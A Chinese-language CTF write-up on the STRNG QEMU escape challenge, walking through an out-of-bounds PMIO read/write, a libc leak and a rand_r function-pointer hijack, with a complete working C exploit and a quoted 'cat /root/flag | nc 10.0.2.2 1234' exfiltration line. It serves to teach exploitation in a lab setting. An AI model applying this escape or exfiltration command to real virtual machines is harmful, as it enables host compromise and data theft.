例题(续) PMIO相关函数 strng_pmio_read
源码:
1 2 #define STRNG_PMIO_ADDR 0 #define STRNG_PMIO_DATA 4
addr=0直接返回opaque->addr,否则opaque->addr右移两位作为索引返回regs对应值。接下来就是看opaque是怎么操作的。
strng_pmio_write
源码:
当size=4的时候,根据addr不同提供不同的服务:
1 2 #define STRNG_PMIO_ADDR 0 #define STRNG_PMIO_DATA 4
addr=0,将val赋值给opaque->addr
addr不为0,右移两位为saddr
saddr=0,调用srand函数,不存储
saddr=1,调用rand函数,结果存在regs[1]
saddr=3,调用rand_r函数,参数为regs[2],结果存在regs[3]
其他值,regs[saddr]=val
对比 在MMIO函数中,addr是传入的,虽然可以直接控制但是有内部检查。
在PMIO函数中,addr来自于opaque->addr,而addr=0时,可以直接将val赋值给opaque->addr,之后使用造成越界读写。
编程访问PMIO 便捷的方式通过IN
和OUT
指令来访问。
可以使用IN
和OUT
去读写相应字节的1、2、4字节数据(outb/inb, outw/inw, outl/inl),函数的头文件为``<sys/io.h>,函数的具体用法可以使用
man`手册查看。
还需要注意的是要访问相应的端口需要一定的权限,程序应使用root权限运行。对于0x000-0x3ff
之间的端口,使用ioperm(from, num, turn_on)
即可;对于0x3ff
以上的端口,则该调用执行iopl(3)
函数去允许访问所有的端口(可使用man ioperm
和man iopl
去查看函数)。
demo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 uint32_t pmio_base=0xc050 ;uint32_t pmio_write(uint32_t addr, uint32_t value){ outl(value,addr); } uint32_t pmio_read(uint32_t addr){ return (uint32_t )inl(addr); } int main (int argc, char *argv[]) { if (iopl(3 ) !=0 ) die("I/O permission is not enough" ); pmio_write(pmio_base+0 ,0 ); pmio_write(pmio_base+4 ,1 ); }
利用思路 通过PMIO可以达到越界读写的效果,怎么利用呢?回看一下结构体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 00000000 STRNGState struc ; (sizeof=0xC10, align=0x10, copyof_3815) 00000000 pdev PCIDevice_0 ? 000008F0 mmio MemoryRegion_0 ? 000009F0 pmio MemoryRegion_0 ? 00000AF0 addr dd ? 00000AF4 regs dd 64 dup(?) 00000BF4 db ? ; undefined 00000BF5 db ? ; undefined 00000BF6 db ? ; undefined 00000BF7 db ? ; undefined 00000BF8 srand dq ? ; offset 00000C00 rand dq ? ; offset 00000C08 rand_r dq ? ; offset 00000C10 STRNGState ends
regs后面是函数指针,泄露出来可以计算出system的地址。泄露出system地址,可以将其覆盖到rand_r,将regs[2]的位置存储上cat /root/flag
,之后就可以达到system("cat /root/flag")
的效果了。
在UAFIO的思路中,执行的是cat /root/flag | nc 10.0.2.2 1234
。这样传到自己的vps也挺好的。
靠谱的exp:
改一下libc的偏移,就可以攻击成功了。
可以看到宿主机的flag被显示了出来。失败了就多执行几次。
调试 内核题也是起qemu,用一个solution.py来编译传exp,很好用,但是qemu逃逸的题目起qemu的确是很慢…所以编译就本地编译好,然后用scp传到qemu中就好。
启动 sudo ./start.sh
调试 下断点 首先变成root用户,由于有符号,gdb qemu,可以通过b来下断点:
1 2 3 4 b *strng_pmio_write b *strng_pmio_read b *strng_mmio_write b *strng_pmio_read
函数名字可以tab自动补全。
或者写一个getchar()也可以。
注意⚠️!不下断点不能正常调试。
gdb attach ps -ef | gerp qemu
找到qemu进程,attach [pid]进去。此时gdb可以正常工作,出现提示符。
按c
继续运行,在qemu中sudo ./exp
执行exp。
关键是可以一直用!这次exp不正常,就重新转一个,断点不会出问题,qemu也可以继续用。
编写mmio_read mmio_write 显示一些套话(include,全局变量)等。然后opem+mmap开空间,测试一下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> unsigned char * mmio_mem;uint32_t pmio_base = 0xc050 ;char * device_name = "/sys/devices/pci0000:00/0000:00:03.0/resource0" ;void die (const char * msg) { perror(msg); exit (-1 ); } void mmio_write (uint32_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; } uint32_t mmio_read(uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); } int main () { int mmio_fd = open(device_name, O_RDWR | O_SYNC); printf ("[*] mmio_fd = %d\n" , mmio_fd); if (mmio_fd == -1 ){ die("open device error\n" ); } mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); printf ("[*] mmio_mem: %p\n" , mmio_mem); if (mmio_mem == MAP_FAILED){ die("map memory failed\n" ); } mmio_write(0 , 1 ); mmio_write(4 , 2 ); mmio_write(8 , 3 ); mmio_write(12 , 4 ); printf ("read result: %x %x %x %x\n" , mmio_read(0 ), mmio_read(4 ), mmio_read(8 ), mmio_read(12 )); }
效果:
1 2 3 4 5 6 ubuntu@ubuntu:~$ sudo ./exp sudo: unable to resolve host ubuntu [*] mmio_fd = 3 [*] mmio_mem: 0xb7715000 sh: 1: : not found read result: 0 6b8b4567 3 4
编写pmio_read pimo_write 1 2 3 4 5 6 7 void pmio_write (uint32_t addr, uint32_t value) { outl(value, addr); } uint32_t pmio_read(uint32_t addr) { return (uint32_t )inl(addr); }
编写任意地址读写原语 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 uint32_t arb_pmio_read(uint32_t offset) { pmio_write(pmio_base+0 , offset); return pmio_read(pmio_base+4 ); } void arb_pmio_write (uint32_t offset, uint32_t value) { pmio_write(pmio_base+0 , offset); pmio_write(pmio_base+4 , value); }
泄露地址并劫持rand_r函数指针 1 2 3 4 5 6 7 8 9 10 11 12 13 uint64_t srand_addr = arb_pmio_read(66 <<2 ); srand_addr <<= 32 ; srand_addr += arb_pmio_read(65 <<2 ); printf ("[*] srand: 0x%llx\n" , srand_addr); uint64_t libc_base = srand_addr - 0x03a8d0 ; uint64_t system_addr = libc_base + 0x045390 ; printf ("[*] libc: 0x%llx\n" , libc_base); printf ("[*] system: 0x%llx\n" , system_addr); arb_pmio_write(69 <<2 , system_addr&0xffffffff ); mmio_write(2 <<3 , 0 );
成功逃逸!
自己环境的flag在/1。
完整exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 #include <assert.h> #include <fcntl.h> #include <inttypes.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <sys/types.h> #include <unistd.h> #include <sys/io.h> unsigned char * mmio_mem;uint32_t pmio_base = 0xc050 ;char * device_name = "/sys/devices/pci0000:00/0000:00:03.0/resource0" ;void die (const char * msg) { perror(msg); exit (-1 ); } void mmio_write (uint32_t addr, uint32_t value) { *((uint32_t *)(mmio_mem + addr)) = value; } uint32_t mmio_read(uint32_t addr) { return *((uint32_t *)(mmio_mem + addr)); } void pmio_write (uint32_t addr, uint32_t value) { outl(value, addr); } uint32_t pmio_read(uint32_t addr) { return (uint32_t )inl(addr); } uint32_t arb_pmio_read(uint32_t offset) { pmio_write(pmio_base+0 , offset); return pmio_read(pmio_base+4 ); } void arb_pmio_write (uint32_t offset, uint32_t value) { pmio_write(pmio_base+0 , offset); pmio_write(pmio_base+4 , value); } int main () { if (iopl(3 ) != 0 ) { die("I/O privilage error" ); } int mmio_fd = open(device_name, O_RDWR | O_SYNC); printf ("[*] mmio_fd = %d\n" , mmio_fd); if (mmio_fd == -1 ){ die("open device error\n" ); } mmio_mem = mmap(0 , 0x1000 , PROT_READ | PROT_WRITE, MAP_SHARED, mmio_fd, 0 ); printf ("[*] mmio_mem: %p\n" , mmio_mem); if (mmio_mem == MAP_FAILED){ die("map memory failed\n" ); } mmio_write( 8 , 0x20746163 ); mmio_write(12 , 0x0000312f ); mmio_write(16 , 0x6c662f74 ); mmio_write(20 , 0x00006761 ); uint64_t srand_addr = arb_pmio_read(66 <<2 ); srand_addr <<= 32 ; srand_addr += arb_pmio_read(65 <<2 ); printf ("[*] srand: 0x%llx\n" , srand_addr); uint64_t libc_base = srand_addr - 0x03a8d0 ; uint64_t system_addr = libc_base + 0x045390 ; printf ("[*] libc: 0x%llx\n" , libc_base); printf ("[*] system: 0x%llx\n" , system_addr); arb_pmio_write(69 <<2 , system_addr&0xffffffff ); mmio_write(2 <<3 , 0 ); getchar(); }
我没有去掉注释,这样容易阅读一些。
步骤总结
编写启动脚本方便调试
启动脚本,通过lspci命令拿到设备信息
通过脚本找到设备名,在IDA中寻找对应函数,找到漏洞
编写c程序调用函数触发漏洞完成利用
后续工作 跟着UAFIO的博客继续学习其他几个qemu的题目: